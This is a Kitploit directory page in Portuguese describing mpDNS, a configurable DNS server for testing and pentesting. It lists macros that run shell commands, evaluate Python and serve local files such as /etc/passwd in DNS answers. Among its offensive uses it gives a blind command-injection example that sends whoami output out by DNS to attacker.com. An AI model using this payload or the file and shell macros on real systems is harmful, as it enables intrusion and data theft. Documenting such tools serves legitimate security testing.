Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
mpDNS — Servidor DNS Multifuncional | Kitploit
Ferramentas/GitHubGitHub/nopernik/mpdns
Scripting e AutomaçãoExfiltração de DadosColeta de InformaçõesSegurança WebAnálise de MalwareTestes de PenetraçãoRed TeamingAnálise de DNS
GitHubnopernik/mpdns

mpDNS

Servidor DNS Multifuncional

Ver Repositório
14420há 1 anoRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

mpDNS aka multi-purpose DNS Server

Servidor DNS simples, configurável e com vários recursos úteis

  • Python 3
  • names.db -> contém todos os registros personalizados (veja exemplos)
  • Curingas simples como *.example.com
  • Capturar requisições DNS unicode
  • Ações personalizadas aka macros:
    • {{shellexec::dig google.com +short}} -> Executa comando shell e responde com o resultado
    • {{eval::res = '1.1.1.%d' % random.randint(0,256)}} -> Avalie seu código Python
    • {{file::/etc/passwd}} -> Responde com o conteúdo do arquivo local
    • {{filelist::/somefile.list}} -> Responde com múltiplos resultados linha por linha
    • {{resolve}} -> Encaminha requisição DNS para o DNS do sistema local
    • {{resolve::example.com}} -> Resolve example.com em vez do registro original
    • {{echo}} -> Responde com o endereço do peer
    • {{shellexec::echo %PEER% %QUERY% %QUERYTYPE%}} -> Uso de variáveis
  • Veja names.db.example para mais

Baseado fortemente em https://github.com/circuits/circuits/blob/master/examples/dnsserver.py

Início Rápido

root@kitploit:~
git clone https://github.com/nopernik/mpDNS
cd ./mpDNS
pip install -r requirements.txt
touch names.db

Agora você está pronto para preencher seus registros DNS em names.db baseado em names.db.example

Uso: ./mpdns.py

  • Crie o arquivo names.db. Veja names.db.example
  • Edite registros DNS em names.db com ./mpdns.py -e sem necessidade de reinicialização

Propósitos Ofensivos e Defensivos:

  1. Você precisa de uma solução de servidor DNS simples e leve para testes (NÃO PARA PRODUÇÃO!)
  2. Teste para várias vulnerabilidades de injeção cega em aplicações web (ex. /ping.php?ip=$(dig $(whoami).attacker.com))
  3. Infiltrar facilmente 65K de dados em uma única consulta TXT
  4. DNS Rebinding
  5. Executar ação de macro personalizada em consulta específica (útil em ambientes de laboratório de análise de malware)
  6. E muito mais. É altamente personalizável.

Limitações

  1. Devido ao limite de datagrama UDP de 65535 bytes, a resposta DNS é limitada a aproximadamente ~65200 bytes
    essa limitação se aplica a registros TXT que são divididos em blocos de 256 bytes até que a resposta atinja o máximo permitido de 65200b
    portanto, o registro TXT com a macro {{file:localfile.txt}} é limitado a 65200 bytes.
  2. Não suporta curingas aninhados test.*.example.com
  3. Não suporta resolvedor de servidor DNS personalizado na macro {{resolve::example.com}}
  4. TTL sempre definido como 0

Exemplos

Exemplo de names.db:

root@kitploit:~
# Empty configuration will result in empty but valid responses
#
# Unicode domain names are not supported but still can be catched by the server.
# for example мама-сервер-unicode.google.com will be catched but with SERVFAIL response

passwd.example.com	TXT     {{file::/etc/passwd}}  #comments are ignored
shellexec			TXT     {{shellexec::whoami}}
eval				TXT     {{eval::import random; res = random.randint(1,500)}}
resolve1			A       {{resolve}}
resolve2			A       {{resolve::self}}      #same as previous
resolve3			A       {{resolve::example.com}}
blabla.com			A       5.5.5.5

*					A       127.0.0.1
*.example.com		A		7.7.7.7
c1.example.com		CNAME	c2.example.com
c2.example.com		CNAME	c3.example.com
c3.example.com		CNAME	google.example.com
google.example.com	CNAME	google.com
test.example.com	A		8.8.8.8
google.com			A		{{resolve::self}}
notgoogle.com		A		{{resolve::google.com}}

Exemplo de saída com o names.db de exemplo:

Resolução regular do DB: dig test.example.com @localhost

root@kitploit:~
;; ANSWER SECTION:
test.example.com.	0	IN	A	8.8.8.8

saída do mpDNS: - Request from 127.0.0.1:57698 -> test.example.com. -> 8.8.8.8 (A)


Resolução CNAME recursiva: dig c1.example.com @localhost

root@kitploit:~
;; QUESTION SECTION:
;c1.example.com.			IN	A

;; ANSWER SECTION:
c1.example.com.		0	IN	CNAME	c2.example.com.
c2.example.com.		0	IN	CNAME	c3.example.com.
c3.example.com.		0	IN	CNAME	google.example.com.
google.example.com.	0	IN	CNAME	google.com.
google.com.		0	IN	A	216.58.206.14

saída do mpDNS:

root@kitploit:~
- Request from 127.0.0.1:44120      -> c1.example.com.		-> c2.example.com (CNAME)
- Request from 127.0.0.1:44120      -> c2.example.com		-> c3.example.com (CNAME)
- Request from 127.0.0.1:44120      -> c3.example.com		-> google.example.com (CNAME)
- Request from 127.0.0.1:44120      -> google.example.com	-> google.com (CNAME)
- Request from 127.0.0.1:44120      -> google.com			-> {{resolve::self}} (A)

Resolução de curinga: dig not-in-db.com @localhost

root@kitploit:~
;; ANSWER SECTION:
not-in-db.com.		0	IN	A	127.0.0.1

saída do mpDNS: - Request from 127.0.0.1:38528 -> not-in-db.com. -> 127.0.0.1 (A)


Resolução de subdomínio curinga: dig wildcard.example.com @localhost

root@kitploit:~
;; ANSWER SECTION:
wildcard.example.com.	0	IN	A	7.7.7.7

saída do mpDNS: - Request from 127.0.0.1:39691 -> wildcard.example.com. -> 7.7.7.7 (A)


Macro de encaminhamento de requisição: dig google.com @localhost

root@kitploit:~
;; ANSWER SECTION:
google.com.		0	IN	A	172.217.22.110

saída do mpDNS: - Request from 127.0.0.1:53487 -> google.com. -> {{resolve::self}} (A)


Macro de encaminhamento de requisição de domínio personalizado: dig notgoogle.com @localhost

root@kitploit:~
;; ANSWER SECTION:
notgoogle.com.		0	IN	A	172.217.22.110

saída do mpDNS: - Request from 127.0.0.1:47797 -> notgoogle.com. -> {{resolve::google.com}} (A)


Macro de conteúdo de arquivo via consulta TXT: dig txt passwd.example.com @localhost

root@kitploit:~
;; ANSWER SECTION:
passwd.example.com.	0	IN	TXT	"root:x:0:0:root:/root:/bin/bash\010daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\010bin:x:2:2:bin:......stripped"

saída do mpDNS: - Request from 127.0.0.1:38805 -> passwd.example.com. -> ['root:x:0:0:root...(2808)'] (TXT)


Macro de código Python personalizado via consulta TXT: dig txt eval @localhost

root@kitploit:~
;; ANSWER SECTION:
eval.			0	IN	TXT	"320"

saída do mpDNS: - Request from 127.0.0.1:33821 -> eval. -> ['320'] (TXT)


Macro de comando shell via consulta TXT: dig txt shellexec @localhost

root@kitploit:~
;; ANSWER SECTION:
shellexec.		0	IN	TXT	"root"

saída do mpDNS: - Request from 127.0.0.1:50262 -> shellexec. -> ['root'] (TXT)


Divirta-se!

Baixar ferramenta